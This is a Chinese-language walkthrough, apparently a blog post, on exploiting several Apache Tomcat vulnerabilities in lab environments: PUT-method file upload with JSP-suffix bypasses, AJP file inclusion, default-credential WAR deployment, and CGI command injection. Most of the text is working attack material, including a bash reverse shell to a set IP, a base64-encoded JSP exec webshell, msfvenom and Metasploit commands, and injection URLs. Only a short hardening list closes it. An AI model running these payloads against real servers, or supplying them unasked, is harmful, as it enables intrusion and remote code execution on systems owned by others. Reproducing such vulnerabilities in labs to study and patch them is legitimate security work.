tomcat漏洞大杂烩
字数 1575 2025-08-03 16:43:13
Apache Tomcat 漏洞分析与利用指南
1. Tomcat 简介
Apache Tomcat 是 Apache 软件基金会 Jakarta 项目中的核心项目,是一个开源的轻量级 Web 应用服务器,支持最新的 Servlet 和 JSP 规范。由于其技术先进、性能稳定且免费,Tomcat 成为开发和调试 JSP 程序的首选,广泛应用于中小型系统和并发访问用户不多的场景。
2. CVE-2017-12615 - 任意文件写入漏洞
漏洞原理
- 影响版本:Tomcat 7.0.0-7.0.81
- 漏洞成因:当
conf/web.xml中的readonly参数设置为 false 时,攻击者可以使用 PUT 方法上传任意文件 - 限制:默认阻止 JSP 后缀文件的上传
漏洞复现步骤
-
环境搭建:使用 vulnhub 的 docker 环境
sudo docker-compose up -d docker ps -
验证配置:
sudo docker exec -ti ec bash cat conf/web.xml | grep readonly -
测试文件上传:
PUT /test.txt HTTP/1.1 Host: target:8080 Content-Length: 7 testpoc -
JSP 文件上传绕过方法:
- 空格绕过:
PUT /a001.jsp%20 HTTP/1.1 - 路径分隔符绕过:
PUT /a001.jsp/http:/1.1 - NTFS 流绕过:
PUT /a001.jsp::$DATA HTTP/1.1
- 空格绕过:
-
验证上传成功并连接 webshell
3. CVE-2020-1938 - AJP 文件包含漏洞
漏洞原理
- Tomcat 配置了两个 Connector:HTTP(8080) 和 AJP(8009)
- AJP 协议设计缺陷导致攻击者可读取或包含 Tomcat 上所有 webapp 目录下的任意文件
- 配合文件上传功能可实现远程代码执行
漏洞复现步骤
-
使用漏洞检测工具:
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi cd CNVD-2020-10487-Tomcat-Ajp-lfi python CNVD-2020-10487-Tomcat-Ajp-lfi.py -
读取敏感文件:
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f /WEB-INF/web.xml -
反弹 shell 利用:
- 生成 base64 编码的 payload:
bash -i >& /dev/tcp/192.168.1.8/8888 0>&1 - 使用 Java Runtime 执行:
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
- 生成 base64 编码的 payload:
-
MSF 利用:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > shell.txt
4. 弱口令 & WAR 远程部署漏洞
漏洞原理
- Tomcat 8 默认后台密码:tomcat/tomcat
- 通过上传 WAR 文件实现远程代码执行
漏洞复现步骤
-
访问后台管理地址:
http://192.168.1.8:8080/manager/html -
使用默认凭证登录:tomcat/tomcat
-
制作恶意 WAR 文件:
jar -cvf test.war . -
上传并部署 WAR 文件
-
使用冰蝎或其他工具连接 webshell
-
MSF 自动化利用:
use exploit/multi/http/tomcat_mgr_upload set HttpPassword tomcat set HttpUsername tomcat set rhost 192.168.1.8 set rport 8080 run
5. CVE-2019-0232 - Apache Tomcat RCE 漏洞
漏洞原理
- 影响 CGI Servlet 组件
- Windows 系统中
Runtime.getRuntime().exec实现方式导致命令注入 - 需要启用
enableCmdLineArguments参数
漏洞复现步骤
-
修改
conf/web.xml:- 取消 CGIServlet 注释
- 添加配置:
<init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param>
-
修改
conf/context.xml:<Context privileged="true"> -
创建测试脚本:
- 在
webapps/ROOT/WEB-INF/cgi-bin/下创建hello.bat
- 在
-
触发漏洞:
http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
6. Manager App 暴力破解
漏洞原理
- 后台密码使用 Base64 编码传输
- 可抓包解密或进行暴力破解
漏洞复现步骤
-
访问管理页面并抓包:
http://192.168.1.8:8000/manager/html -
分析 Authorization 字段(Base64 编码)
-
暴力破解方法:
- 添加 Authorization 头部
- 使用字典攻击
7. 防护建议
- 及时更新 Tomcat 到最新版本
- 禁用 PUT 方法或确保
readonly=true - 禁用 AJP 协议或限制 AJP 端口访问
- 修改默认管理员密码
- 限制 Manager App 的访问权限
- 禁用不必要的功能(如 CGI)
- 实施网络层访问控制
- 定期进行安全审计和漏洞扫描
通过全面了解这些 Tomcat 漏洞及其利用方法,安全人员可以更好地评估和加固 Tomcat 服务器的安全性,防止潜在的攻击。